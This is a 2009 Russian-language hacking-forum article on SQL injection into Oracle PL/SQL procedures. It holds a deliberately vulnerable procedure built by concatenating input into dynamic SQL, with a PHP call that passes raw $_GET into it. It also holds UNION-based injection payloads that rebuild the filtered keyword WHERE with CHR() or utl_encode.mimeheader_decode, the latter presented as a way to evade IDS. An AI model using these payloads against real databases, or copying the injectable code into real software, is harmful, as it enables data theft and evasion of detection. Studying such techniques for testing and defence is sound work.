ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Oracle Hack: Oracle DB примеры обхода некоторых ограничений
  #1  
Старый 08.12.2009, 23:42
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию Oracle Hack: Oracle DB примеры обхода некоторых ограничений

И опять я про Oracle
Header

Представим ситуацию:
1. Back-end: Oracle Database Sever (8i-10g).
2. Front-end: Apache+php(любой http сервер+любой интерпретатор не важно какой но для наглядности возьмем php, именно его я и использую при написании данной статьи).
3. Задача: обойти ограничение и получить как можно больше информации
4. Защита:фильтр where, set, insert в запросе.
5. Мы будем рассматривать инъекцию в pl/sql процедуру которая в свою очередь уже выполняет sql запрос

Content

Первое и самое главное что делается после обнаружения sql|pl/sql инъекции
это подбор столбцов тут обычно проблем не возникает проблемы идут далее когда мы хотим узнать название таблиц и столбцов.
Код:
http://www.example.org/dsu.php?param=p1' union select table_name from all_tables where owner=user --
Не думаю что стоит но просили писать более детально так что буду объяснять что это за запрос.
Table_name это колонка с именем таблицы которая находится в таблице All_tables, where OWNER=USER тут всё чуть сложнее owner это столбец в котором содержится имя пользователя являющегося "хозяином" таблицы, user это функция которая возвращает имя текущего пользователя.
Ну вот делаем такой запрос и... в ответ тишина, сервер как-будто просто "обрубил" сессию, знакомо?
Но паниковать не стоит и делать запросы на выборку всех таблиц и колонок тоже не стоит, насчет таблиц еще может и можно но вот колонки, вряд ли сервер вам позволит получить такое количество инфы (размеры буфера которые предусмотрены для oci и.т.д и.т.п).
Выход из сложившийся ситуации есть, даже не выход а выходы, он заключается в немалом количестве функций для работы с текстом в oracle бд.
Ну опять-же меньше текста больше дела

Для наглядности создадим с БД уязвимую процедуру

Код:
PROMPT CREATE OR REPLACE PROCEDURE get_owner
CREATE OR REPLACE PROCEDURE GET (PARAM VARCHAR) IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT USERNAME FROM ALL_USERS WHERE USERNAME = ''' || PARAM ||'''';
LOOP
FETCH CV INTO BUFFER;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

GRANT EXECUTE ON get TO PUBLIC
На том что делает процедура долго останавливаться не буду, опять же всё просто
1.Получаем параметр
2.Создаем курсор
3.Парсим курсор
4.Выполняем курсор
5.Вывод на екран.

Из php вызывать как
Код:
...
$sql = 'BEGIN get(\'$_GET[param]\'); END;';
...
Думаю тут объяснять нечего не надо.
Вступления и подготовка закончены теперь к делу.

Вариант первый: chr();
Код:
SYS' UNION select TABLE_NAME FROM ALL_TABLES '||CHR(119)||'HERE OWNER=''FLOWS_FILES'' --')
вместо where мы вставляем '||CHR(119)||'HERE то есть символ W "довставляется" функцией CHR() и добавляется в запрос используя символы конкатенации строк ||.
Как видно выше where мы не передаём по этой причине запрос проходит. Пользуясь данным методом можно много чего обойти например фильтрацию кавычек это неоднократно упоминалось многими авторами.

Вариант второй: utl_encode.mimeheader_decode()

Код:
SYS' UNION select TABLE_NAME FROM ALL_TABLES '||utl_encode.mimeheader_decode('=?UTF-8?Q?w?=')||'HERE OWNER=''FLOWS_FILES''
Тут тот же метод только мы используем другую функцию для работы со строками.
Можно фантазировать и далее и фантазия приведет к такому
Код:
SYS''' ||utl_encode.mimeheader_decode('=?UTF-8?Q?UNION=20select=20TABLE=5FNAME=20FROM=20ALL=5FTABLES=20WHERE=20?==?UTF-8?Q?OWNER=3D''FLOWS=5FFILES''?=')||' --
А это уже обход IDS, плюс именно данной функции в том что кавычки в тексте можно расставить и после кодирования что удобно ну и еще возможность явно указать в какой кодировке текст это так-же удобно при работе с не английскими символами.


Footer


Данная статья не совсем статья это просто набор советов не более того. Я не использовал base64 сознательно так как в виду популярности данного алгоритма любая нормальная IDS обращает на него внимание да и примеров его использования вы найдете уйму. Я не претендую на то что это единственный способ, наоборот, более того это советы не и предназначены они для того чтоб показать в каком направлении смотреть.
P.S Мой русский оставляет желать лучшего, я это знаю и начал над этим работать.


(с) 2009 by dsu from Ukrainian Security Community
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Oracle Hack часть первая: Oracle Application Server [ DSU ] Авторские статьи 15 21.05.2009 20:32
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ